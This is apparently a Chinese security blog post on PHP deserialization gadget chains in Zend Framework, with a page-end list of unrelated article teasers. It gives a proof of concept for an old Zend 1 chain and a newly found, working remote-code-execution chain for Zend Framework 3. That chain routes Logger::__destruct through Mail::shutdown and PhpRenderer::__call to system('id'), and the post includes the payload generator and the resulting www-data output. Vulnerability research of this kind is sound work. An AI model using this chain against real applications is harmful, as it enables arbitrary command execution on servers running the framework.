Zend Framework 3.1.3 gadget chain
前言
在推特上的PT SWARM账号发布了一条消息。

一个名为Zend Framework的php框架出现了新的gadget chain,可导致RCE。笔者尝试复现,但失败了。所幸,我基于此链,发现在这个框架的最新版本中的另一条链。
复现过程
这里使用vscode的ssh链接Ubuntu虚拟机,Ubuntu虚拟机内开有php7.2+nginx+xdebug的docker环境。使用composer安装框架。
这里偷懒,使用官方提供的MVC骨架,安装指令: composer create-project zendframework/skeleton-application path/to/install。根据下链,有一些包这个骨架还没安装。使用composer require安装zendframework/zend-filter、zendframework/zend-log、zendframework/zend-mail。
这里放 复现环境,使用docker-compose up -d即可。
首先需要注意的是,ZF框架已经停止维护了。这是一个相当有年头的框架了,我估计不会发cve,要不然也不会公布…
原gadget chain
<?phpclass Zend_Log
{protected $_writers;function __construct($x){$this->_writers = $x;}
}class Zend_Log_Writer_Mail
{protected $_eventsToMail;protected $_layoutEventsToMail;protected $_mail;protected $_layout;protected $_subjectPrependText;public function __construct($eventsToMail,$layoutEventsToMail,$mail,$layout) {$this->_eventsToMail = $eventsToMail;$this->_layoutEventsToMail = $layoutEventsToMail;$this->_mail = $mail;$this->_layout = $layout;$this->_subjectPrependText = null;}
}class Zend_Mail
{
}class Zend_Layout
{protected $_inflector;protected $_inflectorEnabled;protected $_layout;public function __construct($inflector,$inflectorEnabled,$layout) {$this->_inflector = $inflector;$this->_inflectorEnabled = $inflectorEnabled;$this->_layout = '){}' . $layout . '/*';}
}class Zend_Filter_Callback
{protected $_callback = "create_function";protected $_options = [""];
}class Zend_Filter_Inflector
{protected $_rules = [];public function __construct(){$this->_rules['script'] = [new Zend_Filter_Callback()];}
}$code = "phpinfo();exit;";$a = new \Zend_Log([new \Zend_Log_Writer_Mail([1],[],new \Zend_Mail,new \Zend_Layout(new Zend_Filter_Inflector(),true,$code))]
);echo urlencode(serialize(['test' => $a]));
我把序列化数据打进去后发现这些类都变成了匿名类,简而言之就是ClassLoader没有找到这些类。这就很怪了。之后才发现,这些类的命名使用的是psr-0的规范。这个规范是放在以前php没有命名空间的时候使用的,早过时了。现在是psr-4。composer默认也是按照psr-4的规范安装的。
也就是说,这个链的可利用版本大致是相当古老的了(
我尝试安装更老旧版本的ZF框架。果然,老版本框架要求php版本在5.3以下……于是不打算继续复现…
新链发现
我尝试将上面poc的代码转换为psr-4规范,发现有一些类还有,有一些类则完全不在了,例如Zend_Layout类在ZF包的新版本中就没有。
我尝试利用现有的类进行测试,最终在上链基础上找到了新版本的链。
namespace Zend\Log {class Logger{protected $writers;function __construct(){$this->writers = [new \Zend\Log\Writer\Mail()];}}
}namespace Zend\Log\Writer {class Mail {protected $mail;protected $eventsToMail;protected $subjectPrependText;function __construct(){$this->mail = new \Zend\View\Renderer\PhpRenderer();$this->eventsToMail = ["id"];$this->subjectPrependText = null;}}
}namespace Zend\View\Renderer {class PhpRenderer {private $__helpers;function __construct(){$this->__helpers = new \Zend\View\Resolver\TemplateMapResolver();}}
}namespace Zend\View\Resolver {class TemplateMapResolver {protected $map;function __construct(){$this->map = ["setBody" => "system",];}}
}namespace {$payload = new \Zend\Log\Logger();echo urlencode(serialize($payload));
}/*
OUTPUT:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
*/
对此链进行调试
调试
// Zend\Log\Logger
public function __destruct()
{foreach ($this->writers as $writer) {try {$writer->shutdown();} catch (\Exception $e) {}}
}
起点是Zend\Log\Logger类的__destruct方法,这其实就是复现的那条链的Zend_Log类,新版本改名为此。
可以看到这里调用了一个变量$writer的shutdown方法。那么接下来就有两个思路。
$writer设为没有shutdown方法的实例,调用其__call方法$writer设为有shutdown方法的实例,调用其shutdown方法
我这里找到了Zend\Log\Writer\Mail类有这个shutdown方法,同时找到了一个比较好用的__call方法。
public function shutdown()
{if (empty($this->eventsToMail)) {return;}if ($this->subjectPrependText !== null) {$numEntries = $this->getFormattedNumEntriesPerPriority();$this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");}$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));try {$this->transport->send($this->mail);} catch (TransportException\ExceptionInterface $e) {trigger_error("unable to send log entries via email; " ."message = {$e->getMessage()}; " ."code = {$e->getCode()}; " ."exception class = " . get_class($e),E_USER_WARNING);}
}
这个方法调用了很多其它的方法,一开始没什么思路,再看看刚才说的__call方法。
// Zend\View\Renderer\PhpRenderer
public function __call($method, $argv)
{$plugin = $this->plugin($method);if (is_callable($plugin)) {return call_user_func_array($plugin, $argv);}return $plugin;
}
可以看到,call_user_func_array并没有限制类(通常会这么写call_user_func_array([$this, $method], $argv)以防止调用类外方法)。这里可能会导致RCE,跟入plugin方法
public function getHelperPluginManager()
{if (null === $this->__helpers) {$this->setHelperPluginManager(new HelperPluginManager(new ServiceManager()));}return $this->__helpers;
}public function plugin($name, array $options = null)
{return $this->getHelperPluginManager()->get($name, $options);
}
跟入后首先会调用getHelperPluginManager方法,其返回值可以被控制。问题就是接下来的get方法了。这里找到一个好用的get方法。
// Zend\View\Resolver\TemplateMapResolver
public function has($name)
{return array_key_exists($name, $this->map);
}public function get($name)
{if (! $this->has($name)) {return false;}return $this->map[$name];
}
Zend\View\Resolver\TemplateMapResolver类中的get方法明显是可以控制返回值的。那么之前plugin的返回值也就可以随心所欲了。之后调用__call方法里的call_user_func_array的第一个参数就随便我们控制了。
但现在还有一个问题,就是call_user_func_array的第二个参数无法控制。这时我想起了之前的shutdown方法。
public function shutdown()
{if (empty($this->eventsToMail)) {return;}if ($this->subjectPrependText !== null) {$numEntries = $this->getFormattedNumEntriesPerPriority();$this->mail->setSubject("{$this->subjectPrependText} ({$numEntries})");}/* 注意这一句 */$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));try {$this->transport->send($this->mail);} catch (TransportException\ExceptionInterface $e) {trigger_error("unable to send log entries via email; " ."message = {$e->getMessage()}; " ."code = {$e->getCode()}; " ."exception class = " . get_class($e),E_USER_WARNING);}
}
很明显,我们想让终点的call_user_func_array的第二个参数有值。需要之前调用不存在方法时有参数。很明显,上面shutdown方法里有这么一句符合我们要求。
$this->mail->setBody(implode(PHP_EOL, $this->eventsToMail));首先可以调用__call方法,然后$this->eventsToMail经过implode函数可控。很明显,这个方法的参数可控,直接芜湖。
调用堆栈:

心得
可以看到,上面这样一条gadget链的寻找并没有那么困难。关键便是抓住php本身的特性,才能运用得灵活自如。
相关文章:
Zend Framework 3.1.3 gadget chain
前言 在推特上的PT SWARM账号发布了一条消息。 一个名为Zend Framework的php框架出现了新的gadget chain,可导致RCE。笔者尝试复现,但失败了。所幸,我基于此链,发现在这个框架的最新版本中的另一条链。 复现过程 这里使用vscod…...
互联网Java工程师面试题·Java 并发编程篇·第四弹
目录 39、volatile 有什么用?能否用一句话说明下 volatile 的应用场景? 40、为什么代码会重排序? 41、在 java 中 wait 和 sleep 方法的不同? 42、用 Java 实现阻塞队列 43、一个线程运行时发生异常会怎样? 44、…...
3、Linux下安装
以下操作仅限于rh系列:支持rpm/yum安装方式,不支持deb/apt安装方式。 以下操作仅限于rh系列:支持rpm/yum安装方式,不支持 deb/apt安装方式。 1、在线下载安装包: wget https://downloads.mysql.com/archives/get/p/23/file/ m…...
Zookeeper【Curator客户端Java版】从0到1——万字学习笔记
目录 初识Zookeeper Zookeeper作用 维护配置信息 分布式锁服务 集群管理 生产分布式唯一ID Zookeeper的设计目标 Zookeeper 工作机制 数据模型 ZooKeeper 命令操作 服务端常用命令 客户端常用命令 ZooKeeper JavaAPI操作 Curator 介绍 Curator API 常用操作 导入依赖 建立连接 …...
生物标志物发现中的无偏数据分析策略
目录 0. 导论基本概念 1. 生物标志物发现的注意事项2. 数据预处理2.1 高质量原始数据和缺失值处理2.2 数据过滤2.3 数据归一化 3. 数据质量评估3.1 混杂因素3.2 类别分离3.3 功效分析3.4 批次效应 4. 生物标志物发现4.1 策略4.2 数据分析工具4.3 模型优化策略 0. 导论 组学技术…...
华为校招机试题- 机器人活动区域-2023年
题目描述: 现有一个机器人,可放置于 M N的网格中任意位置,每个网格包含一个非负整数编号。当相邻网格的数字编号差值的绝对值小于等于 1 时,机器人可在网格间移动 问题:求机器人可活动的最大范围对应的网格点数目。 说明: 1)网格左上角坐标为 (0, 0),右下角坐标为 (m-…...
半屏小程序
准备工作 tip 管理后台配置 设置-》第三方设置-》半屏小程序管理-》我调用的 添加小程序 有些手机会唤起失败,直接唤起了全屏的小程序,所以我们为了兼容,需要在app.config.ts加上 {"embeddedAppIdList": ["wxxxxxxxx"]/…...
2023年最新Python大数据之Python基础【七】管理系统
文章目录 7、学生管理系统8、函数递归9、lambda函数后记 7、学生管理系统 # 需求拆分:1.展示学生管理系统的功能有哪些,引导用户键入序号选择功能 2.获取用户键入的功能 3.分析具体要执行哪一项功能 4.执行功能 def print_all_option():"""用户功能界面展示&qu…...
【网安】网络安全防止个人信息泄露
网络安全防止个人信息泄露 1、尝试检查自己的网络隐私数据是否泄漏过,可以使用下面的网站2、使用安全非盈利组织的浏览器3、安装浏览器插件,防止网络跟踪4、保持安全的访问方式 1、尝试检查自己的网络隐私数据是否泄漏过,可以使用下面的网站 …...
ChatGPT,AIGC 数据库应用 Mysql 常见优化30例
使用ChatGPT,AIGC总结出Mysql的常见优化30例。 1. 建立合适的索引:在Mysql中,索引是重要的优化手段,可以提高查询效率。确保表的索引充分利用,可以减少查询所需的时间。如:create index idx_name on table_name(column_name); 2. 避免使用select * :尽可能指定要返回的…...
并查集路径压缩
并查集里的 find 函数里可以进行路径压缩,是为了更快速的查找一个点的根节点。对于一个集合树来说,它的根节点下面可以依附着许多的节点,因此,我们可以尝试在 find 的过程中,从底向上,如果此时访问的节点不…...
spring和springMVC的说明
Spring和Spring MVC都是Java应用程序开发中常用的框架,它们提供了一种结构化的方法来构建企业级Java应用程序。下面我将对它们进行详细的说明: Spring: 概述: Spring是一个综合的Java应用程序开发框架,旨在简化企业级…...
软件工程与计算总结(十)软件体系结构设计与构建
目录 编辑 一.体系结构设计过程 1.分析关键需求和项目约束 2.选择体系结构风格 3.体系结构逻辑设计 4.体系结构实现 5.完善体系结构设计 6.定义构件接口 二.体系结构原型构建 1.包的创建 2.重要文件的创建 3.定义构件之间的接口 4.关键需求的实现 三.体系结构的…...
【实操】基于ChatGPT构建知识库
前言 最近有些实践,因为后面要去研究fine-tune了,想着记录一下chatgpt向量数据库构建知识库的一些实操经验,不记我很快就忘了,哈哈。 首先,提一下为啥会出现向量数据库这个技术方案? 大家经过实践发现&…...
ribbonx编程笔记-读写注册表与使用自定义对话框
Windows 注册表是一个数据库,用于存储与计算机不同方面相关的设置,例如用户设置、应用程序设备、硬件设置,等等。 VBA 提供了与注册表直接交互的方式,这不仅允许我们获取其它程序和硬件的信息,而且也能够使我们选择应用程序中的重要信息并将其存储在注册表中。本文中,…...
网工记背配置命令(3)----POE配置示例
POE 供电就是通过以太网供电,这种方式仅凭借那根连接通信终端的网线就可完成为它们供电。POE提供的是-53V~0v 的直流电,供电距离最长可达 100m。PoE 款型的交换机的软件大包天然支持 POE,无需 license,通过执行 poe-enable 命令使…...
网络安全(黑客技术)—0基础学习手册
目录 一、自学网络安全学习的误区和陷阱 二、学习网络安全的一些前期准备 三、网络安全学习路线 四、学习资料的推荐 想自学网络安全(黑客技术)首先你得了解什么是网络安全!什么是黑客! 网络安全可以基于攻击和防御视角来分类…...
[部署网站]01安装宝塔面板搭建WordPress
宝塔面板安装WordPress(超详细)_Wordpress主题网 参考教程 宝塔面板 - 简单好用的Linux/Windows服务器运维管理面板 官网 1.首先你需要一个服务器或者主机 (Windows系统或者Linux系统都可以) 推荐Linux系统更稳定,…...
Can We Edit Multimodal Large Language Models?
本文是LLM系列文章,针对《Can We Edit Multimodal Large Language Models?》的翻译。 我们可以编辑多模态大型语言模型吗? 摘要1 引言2 相关工作3 编辑多模态LLM4 实验5 结论 摘要 本文主要研究多模态大语言模型(Multimodal Large Language Models, mllm)的编辑…...
使用jsqlparser创建MySQL建表语句
语法 create table [IF NOT EXISTS] 表名 ( 字段名 类型 [约束条件], 字段名 类型 [约束条件], 字段名 类型 [约束条件], 字段名 类型 [约束条件] ); 字段定义在括号内约束条件可以有多个多个字段定义之间用都会隔开 常见约束 NOT NULL 非空DEFAULT 0 默认值AUTO_INCREMENT…...
MATLAB实战:用BEMD算法分解图像并提取特征(附完整代码)
MATLAB实战:二维经验模态分解(BEMD)在图像特征提取中的创新应用 当我们需要从一张X光片中识别微小病灶,或是从卫星图像中提取城市道路网络时,传统图像处理方法往往力不从心。二维经验模态分解(BEMD)就像给图像做"CT扫描"࿰…...
STC89C52单片机+槽型光耦,手把手教你DIY一个低成本电机转速测量仪
STC89C52单片机槽型光耦DIY电机转速测量仪实战指南 从零搭建低成本测速系统的完整方案 电机转速测量在工业控制、机器人开发、智能小车等领域都是基础但关键的环节。市面上专业测速仪动辄上千元的价格让许多电子爱好者望而却步。其实,利用手头常见的STC89C52单片机…...
OneAgent智能体全球发布会圆满落幕:引领金融AI交易新时代
2026年3月25日,聚焦金融AI领域的盛会《OneAgent智能体全球产品发布会》在中国杭州成功落幕。本次发布会吸引了全球金融科技领域的行业专家、投资机构以及技术爱好者的关注,标志着OneAgent在全球AI金融市场的战略布局正式启动。AI原生对冲交易新物种&…...
AR.js终极指南:在Web浏览器中实现高效增强现实的完整解决方案
AR.js终极指南:在Web浏览器中实现高效增强现实的完整解决方案 【免费下载链接】AR.js Image tracking, Location Based AR, Marker tracking. All on the Web. 项目地址: https://gitcode.com/gh_mirrors/arj/AR.js AR.js是一个轻量级JavaScript库࿰…...
pyqt使用QChartView绘制饼状图详解(QPieSeries)
pyqt使用QChartView绘制柱状图一、工程搭建二、QPieSeries详解1、核心概念2、主要功能和方法2.1、QPieSeries 的常用方法2.2、QPieSlice 的常用属性和方法3、关键点解释4、常见问题二、代码示例1、示例代码2、效果展示一、工程搭建 pyqt6QtCharts模块需要单独安装,…...
【限时公开】20年农业AI工程师压箱底的17条精度校验铁律:从田间采集到模型上线零容错实践手册
第一章:农业图像识别精度校验的底层逻辑与行业特殊性农业图像识别并非通用计算机视觉任务的简单迁移,其精度校验需直面田间场景固有的复杂性:光照剧烈波动、作物生长阶段连续变化、病斑形态高度异质、背景杂草与土壤纹理干扰显著。这些因素共…...
SDMatte多平台适配实践:Chrome/Firefox/Safari在Web抠图交互中的兼容性与性能表现
SDMatte多平台适配实践:Chrome/Firefox/Safari在Web抠图交互中的兼容性与性能表现 1. 引言 SDMatte是一款面向高质量图像抠图场景的AI模型,特别擅长处理主体分离、透明物体提取、边缘精修等任务。对于玻璃、薄纱、羽毛、叶片等边缘细节复杂或半透明目标…...
别急着跑流程!单细胞测序数据分析前,你的GEO数据真的‘干净’吗?
别急着跑流程!单细胞测序数据分析前,你的GEO数据真的‘干净’吗? 当你在GEO数据库中兴奋地找到那个包含1534个样本的单细胞数据集时,是否曾想过——这些看似完美的数据背后可能隐藏着致命的陷阱?许多生信分析者习惯性地…...
如何通过自动化工具高效获取阴阳师游戏资源?完整实践指南
如何通过自动化工具高效获取阴阳师游戏资源?完整实践指南 【免费下载链接】OnmyojiAutoScript Onmyoji Auto Script | 阴阳师脚本 项目地址: https://gitcode.com/gh_mirrors/on/OnmyojiAutoScript 阴阳师自动化工具是一款功能强大的智能辅助应用,…...
OpenClaw飞书集成实战:Qwen3-VL:30B智能对话与任务触发
OpenClaw飞书集成实战:Qwen3-VL:30B智能对话与任务触发 1. 为什么选择OpenClaw飞书组合 去年夏天,我接手了一个棘手的任务:团队每天产生上百条会议录音和杂乱无章的文档碎片,需要人工整理成结构化会议纪要。当我尝试用传统RPA工…...
